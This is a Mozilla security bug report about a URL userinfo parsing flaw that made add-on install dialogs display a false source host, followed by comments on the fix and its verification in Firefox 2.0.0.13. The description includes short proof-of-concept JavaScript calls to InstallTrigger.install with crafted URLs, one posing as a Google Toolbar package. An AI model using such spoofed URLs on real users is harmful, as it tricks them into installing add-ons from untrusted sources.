415496 - bad userpass URL parsing leads to addon install spoofing

Status: RESOLVED FIXED

(Core :: Networking, defect, P2)

Description

[Daniel Veditz [:dveditz]]

This is an alternate exploit for the nsStandardURL User:pass parsing bug described in bug 415034 and 415401. The fix will be the same, but it's a completely unrelated testcase/exploit.

1) load https://addons.mozilla.org  (because it's whitelisted)
2) enter the URI
javascript:InstallTrigger.install({"test":"https://:[e-mail]/some/path"});void(0)

An install confirmation dialog comes up. Due to this bug it shows the "test" package as coming from "https://s.mozilla.org/some/path/". (Note: any actual install will fail as it's a fake path, that's besides the point for this test). It looks like this is just a display URI, so if it had been a real path the install would still work -- in other words you could

To exploit this the trigger would have to be run on a whitelisted site, or convince the user to paste the URL into the addressbar and not notice the evil site. You can't prevent the install confirmation dialog from coming up, but if you can convince the user that the content comes from a good source that's just as good, right? What about sourcing the package from

url = "http://:[e-mail]/toolbar.google.com/path/gtoolbar.xpi"
InstallTrigger.install({"Google Toolbar": url});

Comment 1

[Daniel Veditz [:dveditz]]

This is due to the SetUserPass() at

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsXPITriggerInfo.cpp&rev=1.40&mark=142#132

used to generate the package list at 

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsXPInstallManager.cpp&rev=1.158&mark=278#271

Comment 2

[Mike Schroepfer]

DVeditz will you be able to fix this for b4?

Comment 3

[Daniel Veditz [:dveditz]]

The patch in bug 415034 fixes this

Comment 4

[Daniel Veditz [:dveditz]]

bug 415034 fixed on trunk

Comment 5

[Daniel Veditz [:dveditz]]

Fix checked into 1.8 branch

Comment 6

[Al Billings [:abillings - ex-MoCo]]

Verified in Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/2008031114 Firefox/2.0.0.13.